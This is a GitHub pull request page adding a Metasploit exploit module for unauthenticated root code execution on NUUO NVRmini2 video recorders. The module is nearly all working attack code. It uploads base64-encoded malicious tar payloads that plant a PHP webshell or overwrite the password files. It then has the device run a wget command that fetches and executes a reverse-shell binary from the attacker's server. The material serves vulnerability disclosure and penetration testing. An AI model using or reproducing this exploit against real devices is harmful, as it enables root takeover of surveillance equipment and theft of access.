Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Add exploit for NUUO NVRmini2 zero day unauth RCE as root #16044

Closed
wants to merge 13 commits into from
202 changes: 202 additions & 0 deletions modules/exploits/linux/http/nuuo_nvrmini_unauth_rce_r2.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,202 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'base64'

# This payload drops a PHP webshell in /NUUO/web/shelly.php, which is accessible at http://<TARGET>/shelly.php
# All commands run as root.
WEBSHELL = "AQQBAAAAAY2ht2HWPMNyYfcyiJZNK5gKAAAAAAAAAAAAAAAAAAAAAAAAAAAA\nAAAAAAAAAAAAAAAAAAAAAAAAAEqI6vO285g9jTEJnLEU6uSfcaGFVrwSo/Gh\nw3pLVDQD+O06eovinidp2M95q70jsFaazKKxpjQwtr8on2TXZigHXDsYRIYy\n+6mcjLV1eyEipS/L+9SPBBXbxc+bBbgIn6TxryLXtq/JB+2f8YRaLlPKX2wN\nVPsjr3tjxkSMQ1AyaYXm13+X8l4kUmJ2jLy/zaP7YkOgCk+KB/0g4kv3lGzo\n1T7ZGsVP/fisUASdgKydD3uRdDtNyZ/rR+eBAM+0EzqeUqi+Oh67iFQvDOge\nVhbpOqntJ9sCm89wC9Ob6+nZ8grzr1QMHSfT6uezTPRAlfnjrc1a1KSoxEan\ncqUWbyDGs4D6Mj1q7uABwfdfd6/3GrijS1E4P6so9xz8ESP92l0xwFjL+GuB\niEATYe5Thq/0jkAhwb4I1LDrYXwp/QA6oGw8SrZ4yxGU5FX9+xoyBq4n/lBh\neWd9yXykGw7vxEV7cCwp7U/1wLrNlCC2NQnNV3SffELVw1ogzMM02UVWhWTn\nJubMuzX4VZQdhswNBdo1qfTo+8VO3Qa1se9kuWEhP8SNry1EiILqnEZCDXE2\nbu3BprHzRvJxQsd+kwL2MeIPKd/Z0Mc6l+LGjfQzqykaQsd+kwL2MeJCx36T\nAvYx4kLHfpMC9jHiQsd+kwL2MeJCx36TAvYx4kLHfpMC9jHi".freeze

# This payload resets the admin password to "password" and sets the root password to "YouveBeenOwned".
# The root user can login via SSH, but the admin user can only login to the web interface.
SHADOW = "AQQBAAAAAzwl09cIC9ag56ZTkKaxa3dnAAAAAAAAAAAAAAAAAAAAAAAAAAAA\nAAAAAAAAAAAAAAAAAAAAAAAAAEuN9iwvYtp59dUGEtUO8U99Ttlh0YKWXfGh\nw3pLVDQD+O06eovinidp2M95q70jsFaazKKxpjQwtr8on2TXZii/qgDZp5Pk\nRqmcjLV1eyEiQD6Gt2yglcb0zCk7lQYyBRcVW3dtcou+KKtadakh3tIlMZgY\nFXptlfGRapDAKOxI9Ov0/6TR656mJz0ju+2fm4oOMmwB9EXaYn9TO2lDn3kk\niXwkWlEOA9S3fposo6Setd7v83RYJmlIWuLtcRXpRin2jyGsnj1bvck2wZPg\nPVAlqnklN2NWpxBlOnovGaeydwes5q6T4F0bKKJvI9WXWsLGJZ/RKfHpEwgi\nG35CVF5/1XyOmr07gPi0hURw/aRIvHbEM6PdXecunZBS0z/JFP4ROpdfDSGS\n4/2S2v1ba9BmUOEAxxxjb+AuaYlgrIKYOPn5fQ9ECNpceneS5pxWZSEuTShp\nR8Viv1QdPkeQGMugdK+PR0uQtIplXhCTHB/6qOtT6h4pssekcyrewDZGFDVI\nbcRh7lL9ngK/nTtNnWbzuOq0RHL0G/IIof0Prgkxy0eO68QYB4deL03ew+BZ\nHKfNwVOEm56OxQaJQnbOp4tPBy4OqEYSSGwQPIjf/s0+VnqLHZyeFNRDJ7Na\nTFioz6JWb+IRqKcp5NRAGij/76tHGelfWJBPZhclKuH8G8ZETTU3FqZxtlX3\nB+hrl945YAt1w7Pk5Y81JMf7BFcDOq/qiinOzBZ3epm+pe2kzeuX6Of6MisQ\nKnlPa+jn/MwGwYV6oHzrgX1e5XvAEeGhGA8Z7z5t+ashXs1RQSElN+MppKdx\niRc8GMZoCHIluGeHYuYjPB6xvNUUfaWjWolrABpytkux0oc/7ioIvSv7Yl1J\nsxMRCgsW6292+ZDwE9se4a6m/BY8jrcOX5x2gR7n/DHcVBUKn26Aolfw5yzj\nmCrhK/Pe4pFmymkSWgLY9U6tzVKI5k3MtpnsJYZqr98WD9WlXBYRUtotTltl\nIYEBg4V1rQKgaO5iX087powFDlozQyQlf0EBkaenBASC5iy0XNAjmEk5E4wP\nQU7mA1GXA1wWEVnXHRsPKFmj00yolmta+tFoxrCcSZ8Kq4v8bJYF4LKmnhCA\niww/CP27t1a3kAgyeORIej+8ebJ+ICxgRlxwE/yM1xZ08wt5/IzXFnTzC3k2\nvyoBasJssVtJxtJldxBo".freeze

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HttpServer
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper

def initialize(info = {})
super(
update_info(
info,
'Name' => 'NUUO NVRmini 2 / NVRsolo Unauthenticated Remote Code Execution (2022)',
'Description' => %q{
NUUO's NVRmini2 recorder contains a chain of flaws that allow an unauthenticated
attacker to execute code as root in all publicly released firmware versions.
The first link in the chain is an unauthenticated file upload, which gets decrypted
and then untar'ed. During the untar process we abuse the second flaw, a very old
directory traversal in busybox's tar to drop a file in /NUUO/web/shelly.php.
This contains a web shell that we use to download and execute our payload as root.
The web shell is deleted after we receive our beatiful reverse shell.
},
'Author' => [
'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and Metasploit module
],
'References' => [
['CVE', '2022-TODO'],
['CVE', '2011-5325'],
['URL', 'https://github.com/pedrib/PoC/blob/master/advisories/NUUO/nuuo_nvrmini_round2.mkd'],
],
'DefaultOptions' => { 'WfsDelay' => 5 },
'Targets' => [
['NVRmini2 v2.0.0 and above', {} ],
['NVRmini2 v1.7.6 and below', {} ],
],
'DefaultTarget' => 0,
'Platform' => 'linux',
'Arch' => ARCH_ARMLE,
'Privileged' => true,
'Stance' => Msf::Exploit::Stance::Aggressive,
'DisclosureDate' => '2022-01-12'
)
)

register_options(
[
Opt::RPORT(80),
OptString.new('TARGETURI', [true, 'Application path', '/']),
OptString.new('SRVHOST', [true, 'IP address for the HTTP server', '0.0.0.0']),
OptString.new('SRVPORT', [true, 'Port for the HTTP server', '4445']),
]
)
end

def check
res = send_request_cgi({
'uri' => normalize_uri(datastore['TARGETURI'], 'handle_import_user.php'),
'method' => 'GET'
})
if res && (res.code == 200) && res.body =~ (/There was an error uploading the file/)
Exploit::CheckCode::Vulnerable
else
Exploit::CheckCode::Unknown
end
end

# request handler for our web server
def on_request_uri(cli, _request)
print_status("#{peer} - Sending the payload to the device...")
@pl_sent = true
send_response(cli, @pl)
end

def payload_prep
# payload prep
@pl = generate_payload_exe
@pl_sent = false
resource_uri = '/' + rand_text_alpha(10..15)

# do not use SSL
if datastore['SSL']
ssl_restore = true
datastore['SSL'] = false
end

if ((datastore['SRVHOST'] == '0.0.0.0') || (datastore['SRVHOST'] == '::'))
srv_host = Rex::Socket.source_address(rhost)
else
srv_host = datastore['SRVHOST']
end

service_url = 'http://' + srv_host + ':' + datastore['SRVPORT'].to_s + resource_uri
print_status("#{peer} - Starting up our web service on #{service_url} ...")
start_service({
'Uri' => {
'Proc' => proc do |cli, req|
on_request_uri(cli, req)
end,
'Path' => resource_uri
}
})

datastore['SSL'] = true if ssl_restore
print_status("#{peer} - Asking the device to download and execute #{service_url}")

filename = rand_text_alpha_lower(rand(2..9))
cmd = "wget #{service_url} -O /tmp/#{filename}; chmod +x /tmp/#{filename}; /tmp/#{filename} &"
sleep 3
cmd
end

def send_cmd(cmd)
res = send_request_cgi({
'uri' => normalize_uri(datastore['TARGETURI'], 'shelly.php'),
'method' => 'GET',
'vars_get' => {
'cmd' => cmd
}
})
res
end

def exploit
# select our target and payload
if target == targets[0]
payload_enc = Base64.decode64(WEBSHELL)
else
payload_enc = Base64.decode64(SHADOW)
end

# create post data to be sent to the server
post_data = Rex::MIME::Message.new
post_data.add_part(rand_text_alpha(5..12),
nil, nil,
content_disposition = 'form-data; name="tmp_name"')
pedrib marked this conversation as resolved.
Show resolved Hide resolved
post_data.add_part(payload_enc,
'application/octet-stream', 'binary',
"form-data; name=\"upload_file\"; filename=\"#{rand_text_alpha(6..10)}\"")

print_status("#{peer} - Uploading initial payload...")
res = send_request_cgi({
'uri' => normalize_uri(datastore['TARGETURI'], 'handle_import_user.php'),
'method' => 'POST',
'data' => post_data.to_s,
'ctype' => "multipart/form-data; boundary=#{post_data.bound}"
})

if res && (res.code == 200) && res.body !~ /wrongfile/
# it should return "import user: open imported user file failed"
# if it returns "import user: wrongfile" then we failed

if target == targets[0]
# if this is a WEBSHELL target, verify that shelly is there...

res = send_cmd('whoami')
if res && (res.code == 200) && res.body =~ (/root/)
# use shelly to deploy final payload, and remove it afterwards

print_good("#{peer} - We now have root access via /shelly.php, using it to deploy payload...")
register_file_for_cleanup('/NUUO/web/shelly.php')
send_cmd(payload_prep)

counter = 0
until @pl_sent
sleep 1
counter += 1
if counter > 60
fail_with(Failure::Unknown, "#{peer} - Failed to get the device to download the payload...")
end
end

print_good("#{peer} - Shell incoming!")
handler
else
fail_with(Failure::Unknown, "#{peer} - Failed to get root with shelly")
end
else
# otherwise just let the user know that we're done!
print_good("#{peer} - /etc/passwd uploaded. You can now login via SSH with following credentials:")
print_good("#{peer} root:YouHaveBeenOwned")
print_status("#{peer} - Note that the admin user password has also been reset to the default \"password\"")
end
else
fail_with(Failure::Unknown, "#{peer} - Failed to upload initial payload")
end
end
end